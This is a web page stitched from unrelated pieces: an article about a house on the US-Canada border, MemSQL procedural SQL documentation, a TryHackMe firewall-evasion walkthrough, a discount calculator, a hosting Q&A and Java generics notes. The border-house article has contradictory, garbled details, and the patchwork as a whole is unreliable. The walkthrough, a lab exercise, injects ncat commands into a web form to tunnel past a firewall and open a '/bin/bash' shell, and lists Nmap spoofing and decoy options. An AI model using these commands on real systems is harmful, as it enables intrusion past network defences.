QWidget * createEditor(QWidget *parent, const QStyleOptionViewItem &option, const QModelIndex &index) const override
Used to create an editor for when the user tries to change the contents of a cell.
void drawRect(const QRectF &rectangle)
A widget was opened as a popup (e.g. attribute table editor widget)
QVariantMap QgsEditorWidgetConfig
Holds a set of configuration parameters for a editor widget wrapper.
void setEditorData(QWidget *editor, const QModelIndex &index) const override
Sets data from model into the editor.
int toInt(bool *ok) const
bool isNull() const
void setPen(const QColor &color)
QgsEditorWidgetWrapper * create(const QString &widgetId, QgsVectorLayer *vl, int fieldIdx, const QgsEditorWidgetConfig &config, QWidget *editor, QWidget *parent, const QgsAttributeEditorContext &context=QgsAttributeEditorContext())
Create an attribute editor widget wrapper of a given type for a given field.
static QgsEditorWidgetWrapper * fromWidget(QWidget *widget)
Will return a wrapper for a given widget.
This class wraps a request for features to a vector layer (or directly its vector data provider)...
QList< int > QgsAttributeList
virtual void setValue(const QVariant &value)=0
Is called, when the value of the widget needs to be changed.
virtual QVariant data(const QModelIndex &index, int role) const=0
QgsFeatureRequest & setFlags(const QgsFeatureRequest::Flags &flags)
Set flags that affect how features will be fetched.
Q_DECL_DEPRECATED bool changeAttributeValue(QgsFeatureId fid, int field, const QVariant &value, bool emitSignal)
Changes an attribute value (but does not commit it)
void endEditCommand()
Finish edit command and add it to undo/redo stack.
void restore()
QgsEditorWidgetConfig widgetConfig(int fieldIdx) const
Get the configuration for the editor widget used to represent the field at the given index...
const QAbstractItemModel * model() const
void setModelData(QWidget *editor, QAbstractItemModel *model, const QModelIndex &index) const override
Sets data from editor back to model.
virtual QVariant value() const =0
Will be used to access the widget's value.
qint64 QgsFeatureId
Definition: qgsfeature.h:31
bool isValid() const
void setAutoFillBackground(bool enabled)
bool readOnly(int idx) const
This returns true if the field is manually set to read only or if the field does not support editing ...
bool nextFeature(QgsFeature &f)
QString widgetType(int fieldIdx) const
Get the id for the editor widget used to represent the field at the given index.
Geometry is not required. It may still be returned if e.g. required for a filter condition.
QObject * parent() const
Represents a vector layer which manages a vector based data sets.
|
__label__pos
| 0.671653 |
La lecture en ligne est gratuite
Le téléchargement nécessite un accès à la bibliothèque YouScribe
Tout savoir sur nos offres
Partagez cette publication
Algorithmes et structures de donnees. Une introduction a la
programmation fonctionnelle et au langage Caml
Jocelyn Serot
22 avril 2004Preambule
Ce document constitue une introduction a la programmation fonctionnelle { et en particulier au langage
Objective Caml { a travers la mise en uvre de structures de donnees classiques en informatique (listes,
arbres, graphes). Dans cette optique, les implantations et les algorithmes proposes restent deliberement
simples. Il existe de nombreux documents traitant de maniere beaucoup plus approfondie des aspects pu-
rement algorithmiques. Par ailleurs, bien que ce cours puisse ^etre vu comme une initiation a Caml, il ne
constitue en aucune fa con une formation complete a ce langage et encore moins d’un manuel de reference.
Le lecteur est donc invite, correlativement, a se reporter aux ouvrages, documents et publications (pour
la plupart disponibles en lignes) traitant du langage et de ses applications (voir la bibliographie en n de
document).
La forme du document privilegie une approche < en situation > des problemes, les types de donnees
et fonctions etant construits et valides < en temps reel> via un interpreteur Caml. Ces notes constituent
une trace commentee de ces sessions de travail : les phrases entrees par le programmeur sont precedees du
caractere d’invite # et suivies de la reponse de l’interpreteur.
1Chapitre 1
Rudiments
1.1 Expressions, valeurs et types
La notion cle en Caml (et plus generalement dans tout langage fonctionnel) est celle d’expression. Toute
expression possede une valeur et un type. Ecrire un programme consiste a de nir une expression dont la
valeur est la solution au probleme pose. L’ordinateur ne fait alors qu’evaluer cette valeur. Dans les exemples
qui suivent, cette evaluation est e ectu ee de maniere interactive par le toplevel.
#1+2; ;
- : int = 3
Parmi les types de base on trouve notamment : int, o at, bool et string
1.1.1 Entiers et ottan ts
#2.1 *. 3.4; ;
- : o at = 7.14
#4.5 *. 2 ;;
Characters 7 8 :
4.5 *. 2 ; ;
^
This expression has type int but is here used with type o at
Les types int et o at sont distincts et requierent des operateurs speci ques. Les coercions sont toujours
1explicites via les fonctions o at of int et int of o at par exemple
#4.5 *. o at of int(2); ;
- : o at = 9.
1.1.2 Chaines de caracteres
Les chaines de caracteres sont ecrites entre ". L’operateur de concatenation est ^
#"Hello"; ;
- : string = "Hello"
1On verra pourquoi plus loin.
2DEA CSTI - C4TCa SdD et algorithmes en Caml
#"Hello, " ^ "world!"; ;
- : string = "Hello, world!"
1.1.3 Booleens
Il y deux valeurs booleennes : true et false. Les relations usuelles de comparaison (=, <, >=, .. . ) en particulier
retournent une valeur booleenne. Elles operent sur des valeurs n’importe quel type :
#1> 2; ;
- : bool = false
#1.2 = 1.2; ;
- : bool = true
#"hello" = "world"; ;
- : bool = false
La conditionnelle s’exprime avec if, then et else. Attention, c’est ici une expression, qui possede donc une
valeur :
#if 5+4 > 10 then "Oui" else "Non"; ;
- : string = "Non"
1.1.4 N-uplets
Les n-uplets correspondent a un produit cartesien de valeurs : ils combinent des valeurs de types quel-
conques sous la forme de paires, triplets, etc. :
#(1; 2); ;
- : int int = (1; 2)
#("jean", 46, 2650.0); ;
- : string int o at = ("jean", 46, 2650.)
1.2 De nitions
Le mot-cle let permet de nommer une valeur (pour la reutiliser plus tard par exemple). La syntaxe est la
suivante :
let nom = valeur
#let pi = 4:0 : atan 1:0; ;
val pi : o at = 3.14159265359
#pi : pi; ;
- : o at = 9.86960440109
Attention : Les de nitions ne correspondent pas aux < variables> (du C notamment). En particulier, elles
ne sont pas modi able : le nom de ni est de nitiv ement lie a la valeur calculee lors de la de nition. C’est un
simple synonyme pour cette valeur. On ne peut donc pas utiliser un nom avant de l’avoir de ni.
J. Serot 3DEA CSTI - C4TCa SdD et algorithmes en Caml
#let y = sin (pi =: 2:0); ;
val y : o at = 1.
#let u = y : 2:0; ;
val u : o at = 2.
#let z = x + 1; ;
Characters 8 9 :
let z = x + 1; ;
^
Unbound value x
1.2.1 De nitions locales
La forme
let v = e1 in e2
signi e que x vaut e1 pendant le calcul de e2 (et seulement pendant ce calcul).
#let r =
let x = 3 in
x x; ;
val r : int = 9
#x; ;
Characters 0 1 :
x; ;
^
Unbound value x
L’identi cateur x n’est visible que dans l’expression qui suit le in du let correspondant.
Les de nitions peuvent ^etre imbriquees a une profondeur arbitraire. Dans ce cas, les identi cateurs de nis a
un niveau d’imbrication sont visibles a tous les niveaux < inferieurs>.
#let u = 2; ;
val u : int = 2
#let v = 3; ;
val v : int = 3
#let w =
let x = u + v in
let y = x u in
x y; ;
val w : int = 50
J. Serot 4DEA CSTI - C4TCa SdD et algorithmes en Caml
1.3 Fonctions
En Caml, les fonctions sont des valeurs comme les autres. On les de nit aussi avec le mot cle let :
let nom de la fonction = function nom du parametre ! expression
#let square = function x ! x x; ;
val square : int ! int = <fun>
#square(2); ;
- : int = 4
#let cube = function x ! square(x) x; ;
val cube : int ! int = <fun>
Noter le type de la fonction square :
int ! int
c.- a-d. < fonction prenant un argument de type int et retournant un resultat de type int >. Remarquer aussi
que ce type a ete infere automatiquement par le systeme.
En Caml, les parentheses autour des arguments des fonctions sont facultatives. On peut donc ecrire plus
simplement :
#square 3; ;
- : int = 9
Les parentheses restent utiles, bien sur, pour grouper des expressions :
#square (2 + 3); ;
- : int = 25
#square 2 + 3; ;
- : int = 7
La de nition de fonction etant une operation tres frequente, il existe une notation abregee. A la place de
let nom de la fonction = function nom du parametre ! expression
on peut ecrire
let nom de la fonction nom du parametre = expression
#let square x = x x; ;
val square : int ! int = <fun>
Remarque importante : la (re)de nition de la fonction square < cache> desormais celle donnee au debut
de ce paragraphe. Lors du calcul de
#square 3; ;
- : int = 9
c’est la bien la seconde de nition qui est utilisee. Par contre, l’evaluation de la fonction cube continuera d’uti-
liser la premiere de nition de square. C’est ce que l’on appelle la regle de portee statique des identi cateurs
en Caml : la valeur d’un identi cateur est determinee par l’environnement au sein duquel cet identi cateur
est de ni , pas par celui au sein duquel il est evalue.
J. Serot 5DEA CSTI - C4TCa SdD et algorithmes en Caml
1.3.1 Fonctions a plusieurs arguments
Il y a deux manieres de de nir des fonctions a plusieurs arguments.
La premiere consiste a de nir une fonction prenant un n-uplet.
#let norme (x;y) = sqrt(x :x + :y :y); ;
val norme : o at o at ! o at = <fun>
La seconde consiste a passer les arguments < les uns apres les autres>
#let norme x y = sqrt(x :x + :y :y); ;
val norme : o at ! o at ! o at = <fun>
Noter ici le type de la fonction f :
o at ! o at ! o at
2La fonction f prend donc deux arguments de type o at et renvoie un resultat de type o at . Cette forme
permet par ailleurs de de nir des fonctions par application partielle (note : ce qui suit peut ^etre saute en
premiere lecture). Considerons par exemple la fonction add a deux arguments de nie ci-dessous :
#let add x y = x + y; ;
val add : int ! int ! int = <fun>
Le type de cette fonction :
int ! int ! int
3peut en fait se lire comme :
int ! (int ! int)
Ceci signi e que l’on peut voir add comme une fonction prenant un entier et renvoyant une fonction prenant
elle-m^eme un entier et renvoyant un entier. L’inter^et de cette interpretation est que l’on peut alors de nir
des fonctions par application partielle de add. Par exemple :
#let incr = add 1; ;
val incr : int ! int = <fun>
#incr 4; ;
- : int = 5
Cette maniere de de nir les fonctions a n arguments { par < imbrication> de fonctions a un seul argument
4{ est dite curry ee . Elle est tres utile, car elle permet souvent de de nir des particulieres par
specialisation de fonctions plus generales.
1.3.2 Fonctions a plusieurs resultats
Les n-uplets servent aussi a de nir des fonctions renvoyant plusieurs resultats
#let div eucl x y = x=y; x mod y; ;
val div eucl : int ! int ! int int = <fun>
#div eucl 14 3; ;
- : int int = (4; 2)
2La de nition d’une fonction a plusieurs arguments en notation non abregee se fait avec le mot cle fun au lieu de function.
On aurait ainsi pu ecrire let norme = fun x y ! sqrt(x :x + :y :y).
3L’operateur! etant associatif a gauche.
4Ce nom fait reference a H. Curry, un mathematicien qui a introduit cette technique dans le cadre du -calcul.
J. Serot 6DEA CSTI - C4TCa SdD et algorithmes en Caml
1.4 Un peu plus sur les fonctions
1.4.1 Fonctions recursives
Les fonctions recursives { i.e. dont la de nition contient un appel a elle m^eme { jouent un r^ole cle
en programmation fonctionnelle. Elles permettent notamment d’exprimer la repetition sans iteration. Un
exemple classique est celui de la fonction factorielle. Cette fonction est de nie mathematiquement par(
1 si n = 0,
fact(n) = n (n 1) : : : 1 =
n fact(n 1) si n > 1
Elle s’ecrit < naturellement> en Caml
#let rec fact n =
if n = 0 then 1
else n fact (n 1); ;
val fact : int ! int = <fun>
#fact 5; ;
- : int = 120
Noter l’usage du mot-cle rec apres le let. Sans cela, l’identi cateur de la fonction n’est pas connu dans son
corps.
Un mot sur l’evaluation
L’evaluation des fonctions { en fait de toute expression { procede par reductions successives. La sequence
de reductions correspondant a l’evaluation de fact 3 est ainsi la suivante :
fact 3
) if 3 = 0 then 1 else 3 fact (3 1)
) 3 fact (3 1)
) 3 fact 2
) 3 (2 fact (2 1))
) 3 (2 fact 1)
) 3 (2 (1 fact (1 1)))
) 3 (2 (1 fact 0))
) 3 (2 (1 1))
) 3 (2 1)
) 3 2
) 6
5On peut < visualiser> ce mecanisme d’evaluation en utilisant la directive #trace :
Note : le nombre de reductions (d’operations < elementaires >) necessaire pour calculer f(n) de nit la
complexite (n) de la fonction f. Cette complexite est generalement mesuree par analyse asymptotique :f
on dit que f < est en O(g(n)) > si il existe une constante C telle que, pour n > N, (n) < C g(n). Laf
fonction fact de nie plus haut est ainsi en O(n).
nExercice. Ecrire une fonction calculant x pour deux entiers x et n en utilisant la recurrence
0 n+1 nx = 1; x = x x
Idem en utilisant la recurrence
0 1 2n n 2 2n+1 2nx = 1; x = 1; x = (x ) ; x = x x
5Les directives, commencant par le caractere #, sont des ordres permettant de contr^ oler le comportement de l’interpreteur.
J. Serot 7DEA CSTI - C4TCa SdD et algorithmes en Caml
1.4.2 De nition de fonction par ltrage
Caml dispose d’un mecanisme tres puissant pour de nir des fonctions par analyse de cas : le ltr age
(pattern matching). La forme generale de ce mecanisme est la suivante :
match expr with
motif1 ! exp1
j motif2 ! exp2
. . .
j motifN ! expN
Un motif (pattern) est une expression faisant intervenir des constantes et des variables et de nissan t
une < forme> possible pour l’expression expr. Lors de l’evaluation l’expression expr est ltr ee par (mise en
correspondance avec) les motifs motif1 . . . motifN . Des qu’un motif < colle > a l’expression (par exemple
motif ) la valeur correspondante (exp ) est evaluee et retournee.i i
Par exemple : la fonction dite de Fibonacci est de nie classiquement par8>1 si n = 0,<
Fib(n) = 1 si n = 1,>:
Fib(n 1) + Fib(n 2) si n > 1
Elle se code immediatement en Caml :
#let rec b n = match n with
0! 1
j 1 ! 1
j n ! b (n 1) + b (n 2); ;
val b : int ! int = <fun>
# b 5; ;
- : int = 8
Noter que lorsque le troisieme motif est selectionne (lors de l’evaluation de b 5, par exemple), l’identi cateur
n est automatiquement lie a la valeur ltr ee (5) pour ^etre utilisee dans l’expression associee au motif.
La fonction fact de nie plus haut aurait aussi pu s’ecrire :
#let rec fact n = match n with
0! 1
j n ! n fact (n 1); ;
val fact : int ! int = <fun>
Le ltrage se generalise a des valeurs multiple :
#let et logique x y = match x; y with
true, true! true
j true, false! false
j false, true! false
j false, false! false; ;
val et logique : bool ! bool ! bool = <fun>
#et logique true false ;;
- : bool = false
#et logique true true ; ;
J. Serot 8DEA CSTI - C4TCa SdD et algorithmes en Caml
- : bool = true
Une grande force de Caml est que le compilateur est capable de veri er l’exhaustivite du ltrage
#let ou logique x y = match x; y with
true, true! true
j true, false! true
j false, false! false; ;
.....................match x; y with
true, true! true
j true, false! true
j false, false! false...
val ou logique : bool ! bool ! bool = <fun>
Warning : this pattern matching is not exhaustive:
Here is an example of a value that is not matched :
(false, true)
Il faut toujours pr^eter attention aux avertissements du compilateur, sous peine d’erreurs a l’execution . . .
#ou logique false true ; ;
Exception : Match failure ("", 21, 109):
Ici, il su t de rajouter le cas manquant ou, plus simplement, de rede nir la fonction ou logique en utilisant
le motif universel ( ), qui ltre n’importe quelle valeur :
#let ou logique x y = match x; y with
false, false! false
j ; ! true ; ;
val ou logique : bool ! bool ! bool = <fun>
#ou logique false true ; ;
- : bool = true
1.5 De nition de types
La facilite avec laquelle on peut de nir et manipuler { via le mecanisme de ltrage { de nouveaux types
de donnees en Caml contribue fortement a l’expressivite du langage. Cet aspect sera notamment developpe
dans les chapitres suivants. On presente ici deux types de donnees < extensibles > elementaires : les types
sommes et les enregistrements.
1.5.1 Enregistrements
6Les enregistrements peuvent ^etre vus comme des n-uplets dont les composantes sont nommees . Pour pouvoir
les utiliser, il faut d’abord de nir le type correspondant. Cela se fait avec le mot cle type :
#type employe = f
nom : string ;
age : int ;
salaire : o at
#g ;;
6On peut aussi les voir comme l’analogue des struct du C ou des record du Pascal.
J. Serot 9
|
__label__pos
| 0.897764 |
<![CDATA[distributive - Craftsman at work]]>http://craftsmanatwork.guru/Ghost 0.5Sat, 25 Mar 2023 10:02:18 GMT60<![CDATA[Akka.NET: Leveraging State Machines]]>The Goal
In this post we are going to implement a simple finite-state machine (FSM) using Akka.NET, which ideally suits for this kind of tasks.
The Domain
As an engineer, You probably noticed that in many conferences there is a "voting machine", with usually red, green, yellow buttons so the folks can leave their feedback and evaluate a speaker. Let's go ahead and make a simple FSM for this voting scenario.
alt
The Implementation
The simplified domain model may look something like this.
A talk entity itself:
class Talk
{
public string Speaker { get; set; }
public string Title { get; set; }
public DateTime EventDate { get; set; }
public List<Vote> Votes { get; set; } = new List<Vote>();
}
A vote entity:
enum SatisfactionLevel
{
Red,
Green,
Yellow
}
class Vote
{
public SatisfactionLevel SatisfactionLevel { get; set; }
public DateTime TimeStamp { get; set; }
}
It goes without saying that we can not start voting before a talk is initiated, meaning our voting actor needs to be notified that it is allowed to accept votes for a particular talk.
Basically, we are going to send two messages BeginVoting to initiate and Vote to actually vote for the talk. In the simplest implementation scenario we would rather introduce some flag that voting is up and running:
public SimpleVotingActor()
{
Receive<BeginVoting>(message =>
{
this.IsVoteOpen = true;
this.Talk = message.Talk;
});
Receive<Vote>(message =>
{
if (IsVoteOpen)
{
EmulateLatency();
Talk.Votes.Add(message);
Console.WriteLine($"Satisfacton: {message.SatisfactionLevel}; Timestamp: {message.TimeStamp}; Processed: {DateTime.Now}");
}
});
}
In this trivial scenario having one "if" is not a showstopper. But what if we have a bunch of states? The good news is that Akka.net provides an elegant solution to this problem. You can define and switch your states/behaviors via Become method. Like this:
public void ClosedForVoting()
{
Receive<BeginVoting>(message =>
{
this.Talk = message.Talk;
Become(OpenForVoting);
});
}
public void OpenForVoting()
{
Receive<Vote>(message =>
{
EmulateLatency();
Talk.Votes.Add(message);
Console.WriteLine($"Satisfacton: {message.SatisfactionLevel}; Timestamp: {message.TimeStamp}");
});
}
The code is much cleaner. It's immediately obvious what is going on out here.
Now let's look at some typical ticket's workflow from Issue & Project Tracking Software. Just five states, but a huge number of variations for each particular state. Implementing the workflow via ifs would not be so elegant:
alt
The full source of this sample is available here
]]>
http://craftsmanatwork.guru/akka-net-simple-fsm/1e1ffc7e-6b69-47cc-9fbb-8f2c4b0b9a8aThu, 17 Mar 2016 12:51:03 GMT
<![CDATA[Akka.NET: Restart an Actor programmatically]]>I've seen a couple of questions on the Internet regarding how to restart an actor programmatically.
To my knowledge, there is no way to send some analogue of PoisonPill.Instance to restart an actor. However, it is doable programmatically.
First of all, you need a message. I assume it's going to be a marker message with no properties. Something like this:
class RestartMessage
{
}
Now you need to handle the message. Cast Self to IInternalActorRef and call Restart method:
Receive<RestartMessage>(x => ((IInternalActorRef)Self).Restart(new Exception("Some Reason")));
I also tried to play with Start/Stop implementations of IInternalActorRef. But it didn't work out (the messages are going to be send to dead letter queue after stopping the actor). Have to dig into Restart internals to figure out how it works and why obvious Stop/Start doesn't.
Receive<RestartMessageDoNotUseThisApproach>(x =>
{
//Do not use this approach. All messages received after stop will be lost?
var internalRef = ((IInternalActorRef)Self);
internalRef.Stop();
internalRef.Start();
});
Here is a link to GitHub Repository if you want to play with the whole sample.
]]>
http://craftsmanatwork.guru/akka-net-restart-an-actor-progammatically/7693c808-f4e7-4d37-9fb2-22ba905055ecMon, 07 Mar 2016 17:34:39 GMT
<![CDATA[Akka.NET: The Terminator Actor]]>Imagine, if you need to shut down the actor system programmatically, based on some condition, etc.
You can do it either from the actor system or expose this feature via some external REST API for instance. Well, it depends.
But probably you are going to need a standalone actor for this purpose with the only responsibility to terminate the whole actor system and maybe to check whether a caller is granted to trigger the operation.
Let's go ahead and build the actor:
class TerminatorActor : ReceiveActor
{
#region Messages
public class Terminate
{
}
#endregion
public TerminatorActor()
{
this.Receive<Terminate>(m =>
{
Context.System.Terminate();
}, m =>
{
//Use Consesus pattern here to make sure that the sender can actually shutdown the system
return this.Sender.Path.ToString().Contains("SuperHero");
});
}
}
The Receive Method of the actor handles only one message which is an instance of Terminate class. However, the Receive method has two arguments, two lambdas. The first one is pretty straightforward and just terminates the actor system, calling Context.System.Terminate();. Btw, Context.System.ShutDown() has been marked as an obsolete method recently.
The second Lambda is a predicate which takes the message and returns some boolean (true if the Actor can process the message or false otherwise). Here in the predicate, you can do some consensus algorithms (or validations if you will) to check whether the caller is allowed to shutdown the system. In this particular sample a naive Sender.Path check was used for demonstration purposes only.
Ok, It's time to launch the whole thing. Please, pay attention that this sample uses WhenTerminated to wait until the system is terminated instead of AwaitTermination (The last one was marked as an obsolete method now):
class Program
{
static void Main(string[] args)
{
AsyncMain().Wait();
}
private static async System.Threading.Tasks.Task AsyncMain()
{
using (var myActorSystem = ActorSystem.Create("myActorSystem"))
{
var terminatorActor = myActorSystem.ActorOf(Props.Create(() => new TerminatorActor()), "terminatorActor");
//Emulate unhandled message
terminatorActor.Tell("Terminate this system");
terminatorActor.Tell(new TerminatorActor.Terminate());
await myActorSystem.WhenTerminated;
Console.WriteLine("Actor System has been terminated");
Console.ReadLine();
}
}
}
Here is a link to GitHub Repository if you want to play with the whole sample.
]]>
http://craftsmanatwork.guru/akka-net-the-terminator-actor/57363d75-9174-4308-993f-774f2fb7f3a0Thu, 21 Jan 2016 07:35:36 GMT
|
__label__pos
| 0.920712 |
c programming, Computer Engineering
area under curve
Posted Date: 9/1/2012 1:44:48 AM | Location : United States
Related Discussions:- c programming, Assignment Help, Ask Question on c programming, Get Answer, Expert's Help, c programming Discussions
Write discussion on c programming
Your posts are moderated
Related Questions
Diagnosis: Medical diagnosis program bases on probabilistic analysis have been able to perform at the level of an expert physician tin several areas of medicine. Heckerman(1981)
What are the "field" and "chain" Statements? The FIELD and CHAIN flow logic statements let you Program your own checks. FIELD and CHAIN tell the system which fields you are ch
Describe the contents of a Process Control Block (PCB). Process Control Block (PCB): All processes are represented in the operating system by a task control block or a proces
Define the Identifiers of c language? In C the names of the functions, variables and arrays and various other user - defined items are called identifiers. The first character o
Permanently resident pages: Every virtual memory systems have memory areas that are "pinned down", for example cannot be swapped out to secondary storage, for instance:
What are the address-sequencing capabilities required in a control memory? i. Incrementing the control address register ii. Unconditional branch as specified by address fiel
What is index register? In index mode the effective address of the operand is formed by adding a constant value to the contents of a register. The register used might be either
Q Convert the following DECIMAL numbers into HEXADECIMAL, double check by converting the result HEXADECIMAL to DECIMAL. a) 24 b) 547.56
Q. Illustrate Characteristic tables of flip-flops? Excitation Tables Characteristic tables of flip-flops present the subsequent state when inputs and present state are kno
What is Functional Modelling We know that Data flow modelling is an ordinary technique used for analysis of a problem in software engineering. It is very useful for analyzi
|
__label__pos
| 0.562589 |
Chrome Extensions To Access Blockchain Domains 2022
When sending cryptocurrencies…Chrome Extensions To Access Blockchain Domains… The problem that often occurs is validating that you have the ideal address, since it is a complicated string of numbers and letters, even doing a copy and paste likely lead to you carefully validating that everything pasted properly, although it should have.
This is where Unstoppable Domains aims to assist drive adoption of crypto with their blockchain domains. These domains can not just be utilized as fully functional websites, with decentralized applications (dApps) integrated, but likewise as a payment hub address where users can receive over 275 different crypto coins and tokens. By giving complicated crypto addresses a human legible name, Unstoppable Domains intends to be the domain addresses of the future.
unstoppable domain is a san francisco-based company that is offering domain extensions that are connected to the blockchain instead of being tied to the dns system specifically you can get a dot crypto which is tied to the ethereum blockchain or you can get a zillow domain name extension which is tied to the silica blockchain which is an alternative to ethereum the benefit of using these blockchain based domain extensions is simply that they are decentralized so the dns system is controlled and run by icann so anything constantly needs approval from that governing body however something like a dot crypto or zillow these are based upon the blockchain and they are simply entirely decentralized so there’s no governing body there’s nothing that requires any type of approval or consent you as the owner own your domain name so in this video i wish to describe to you everything that you need to know as a beginner about unstoppable domain names make certain to inspect the links in the description for time stamps and any resources discussed in this video so let’s start how does domain registration actually work i think
individuals are going to be quite stunned that it’s way more complicated and technical than you envisioned so when you go to somewhere like namecheap.com or godaddy.com you’re not really buying the domain name what you’re doing is you’re launching the domain name through a icann accredited domain name register why do i say i can license due to the fact that you can’t get your domain straight from i can which is again the not-for-profit company that handles the dns system you have to go through an icann accredited domain name register in order to get a domain name which’s just how it works like you’re like why do i need to do that i do not know why asking me those are just the guidelines and that’s what individuals have actually been doing for the last couple of decades in order to get a domain so that’s why you need to pay a yearly charge on your domain names because you’re not actually purchasing an owning domain what you’re doing is leasing their domain name so you’re going to namecheap.com to get your.com what they’re doing is then they’re going through the pc registry that handles that domain extension which is then completely managed and arranged by icann broadly speaking so like when you get it.com.net.org the computer system registry for that extension
Is unstoppable domains on Ethereum? Chrome Extensions To Access Blockchain Domains
is a verisign for instance so all these different domain name extensions have various pc registries and the role of the computer registry is just to manage the administrative information for that specific domain name nft domain versus the traditional dns system what’s the difference well the traditional dns system is a central system as i alluded to earlier based around icann so you have actually icann you have your domain windows registries then you have your icann licensed domain name registrars nfts by contrast are non-fungible tokens non-fungal significance like you can’t jump in and change it but like what does that particularly imply a non-fungible token is just a piece of information discovered on a blockchain that is verifiable and represents an unique digital item in this instance our domain dot crypto versus dot zill what’s the difference with these two so if you leap over to unstoppabledomainnames.com link in the description you’re going to discover that you can’t geta.com.net.org why well you can’t you ought to currently type of understand why due to the fact that those are managed by verisign which is a domain computer system registry which is managed by icann that belongs to the dns system that’s why you can’t get those kinds of domain through unstoppable domain you can only get blockchain based domain names today they only have a dot crypto in dot zo at the time of taping this video the primary difference is that these two are connected to different block chains that’s it so you have Chrome Extensions To Access Blockchain Domains
your dot crypto which is connected to the ethereum blockchain you have your dot zill which is tied to the silica block durian blockchain is way more industrialized and you have a little bit more features and services developed around uh at the ethereum blockchain with a dot crypto domain than you do with a dot zill but functionally speaking they are the same personalized crypto addresses that can be set up as a payment entrance so this is the main feature of unstoppable domain names clearly over time as like we have decentralized web host establish with time it will be possible to utilize like a decentralized domain and a decentralized web host to create your own decentralized site presently it’s not actually possible i imply you can do it however it’s quite technical uh.
Pros.
One-time purchase of domain.
Simplifies method which people engage with crypto addresses.
Censor resistant domain kept in your wallet.
More functionality than conventional domains.
Supports 276 crypto assets.
Cons.
Need to invest ETH to claim domain.
Still some concern regarding whether Unstoppable Domains will accomplish widespread adoption.
Some domains are still pre-sale just.
What is Unstoppable Domains?
Unstoppable Domains was founded in 2018 by Matthew Gould, the current CEO, who saw a requirement for it to be easier for users to engage with crypto addresses. The aim of Unstoppable Domains is to be like the DNS system that entered place, so users did not need to learn IP addresses in order to get to sites, except for crypto addresses.
In this manner they have been successful greatly, as they have actually produced a domain system that permits users to establish payments for 276 digital possessions under a single domain name, while likewise having the ability to be utilized as a completely functioning website that can even have dApps developed onto them since the domain is hosted on the blockchain. With a single payment and no annual renewal fees, Unstoppable Domains is an appealing tool for crypto users.
Is Unstoppable Domains Safe?
Unstoppable Domains is extremely safe since as soon as claimed the domains exist under your address on blockchain, implying they are as safe as the blockchain itself.
It is two times as safe due to the fact that this also suggests that the domain can not be obstructed by anyone aside from you, so your site is never at risk of being down due to censorship. The site for buying the domains is safe too and can be secured with two-factor authentication.
How Much is Unstoppable Domains?
The cost of Unstoppable Domains depends on a 2 primary aspects, though it must be kept in mind that purchasing a domain is a one-time cost and requires no annual renewals of any sort.
The very first element is the cost of the domain itself, this can vary from $20 USD to well over $1000 USD depending on the domain you pick, as expense is based upon domain type (. crypto is more than.wallet for example), and the length of the domain name, with shorter domains costing extra. In addition, there are superior domains that cost tens of thousands.
The next element is the gas costs associated with utilizing the Ethereum blockchain to declare your domain, due to the fact that the domains are kept on the Ethereum blockchain, the transaction to claim them comes in ETH and is not consisted of in your preliminary purchase. The gas charges you will pay will depend upon the existing cost of ETH and the network congestion at the time of the deal. In general you can get likely yourself a cheap.crypto domain and claim it for under $50 overall.
What Are the Best Functions of Unstoppable Domains?
There are a couple of features of Unstoppable Domains that stick out. The fact that it is a one-time purchase without any yearly renewal is exceptionally enticing thinking about the method standard domain ownership works, and in addition, the domain is censor resistant, indicating it can not be taken down by anybody besides the owner.
The domains likewise have more functionality than traditional domains because they can be utilized to a payment router, but also used to create sites with dApps built straight on them due to the fact that they exist on the blockchain, allowing the use of clever agreements on your website. Chrome Extensions To Access Blockchain Domains
Maybe the best and most attractive feature of Unstoppable Domains is that is provides you a way to have one address for you to receive 276 various crypto assets, indicating when you set it up you will just ever need to know your domain and your payments will be routed to the wallets you set up for each cryptocurrency. It is much easier not just for you, but for anybody who you want to receive funds from.
Prospective Dealbreakers.
There is only one genuine prospective dealbreaker when it pertains to using Unstoppable Domains, which is the cost of claiming your domain with Ethereum.
This might just be a dealbreaker because you do not have any Ethereum at your address and need to purchase some in order to claim your domain, or if for some reason you think it is unreasonable to pay the gas fees. Nevertheless, this is a one-time transaction charge, and unless you choose to sell/transfer your domain to another person it will be the additional cost connected with getting your domain.
|
__label__pos
| 0.500338 |
Количество строчных и прописных букв в строке
Посчитать количество строчных (маленьких) и прописных (больших) букв в введенной строке. Учитывать только английские буквы.
1. Ввести две переменные для подсчета строчных и прописных букв. Присвоить им нули.
2. Перебирая символы строки от первого до последнего (номер последнего определяется длиной строки),
1. если очередной символ — это буква, которая не меньше «a» и не больше «z», то увеличить на 1 переменную-счетчик строчных букв,
2. иначе аналогично проверить принадлежность символа диапазону от «A» до «Z». Если символ ему принадлежит, то увеличить счетчик прописных букв.
Как видно из алгоритма, небуквенные символы вообще не учитываются. Тот факт, что буквы можно сравнивать связан с тем, что в таблице кодов символов они идут друг за другом по порядку. Например, буква «a» имеет код на единицу меньше, чем «b», т.е. стоит перед «b».
Pascal
количество строчных букв в строке паскаль
var
str: string;
i, len, let_b, let_s: byte;
begin
readln(str);
len := length(str);
let_b := 0;
let_s := 0;
for i:=1 to len do
if (str[i] >= 'a') and (str[i] <= 'z') then
let_s := let_s + 1
else
if (str[i] >= 'A') and (str[i] <= 'Z') then
let_b := let_b + 1;
writeln(let_s);
writeln(let_b);
end.
heLLo WOrld tEmp
9
5
Язык Си
#include < stdio.h>
main() {
char str[255];
int i,let_b, let_s;
gets(str);
let_s = 0;
let_b = 0;
for (i=0; str[i]!='\0'; i++)
if (str[i] >= 'a' && str[i] <= 'z') let_s += 1;
else
if (str[i] >= 'A' && str[i] <= 'Z') let_b += 1;
printf("%d\n", let_s);
printf("%d\n", let_b);
}
Python
количество заглавных букв в строке python (питон)
s = input()
let_s = 0
let_b = 0
for i in s:
if 'a' <= i <= 'z':
let_s += 1
else:
if 'A' <= i <= 'Z':
let_b += 1
print(let_s)
print(let_b)
КуМир
алг количество разных букв
нач
лит s
цел i, len, let_b, let_s
ввод s
len := длин(s)
let_s := 0
let_b := 0
нц для i от 1 до len
если s[i] >= "a" и s[i] <= "z" то
let_s := let_s + 1
иначе
если s[i] >= "A" и s[i] <= "Z" то
let_b := let_b + 1
все
все
кц
вывод let_s, нс
вывод let_b, нс
кон
Basic-256
input s$
let_s = 0
let_b = 0
for i=1 to length(s$)
l$ = mid(s$,i,1)
l = asc(l$)
if l>=asc("a") and l<=asc("z") then
let_s = let_s + 1
else
if l>=asc("A") and l<=asc("Z") then
let_b = let_b + 1
endif
endif
next i
print let_s
print let_b
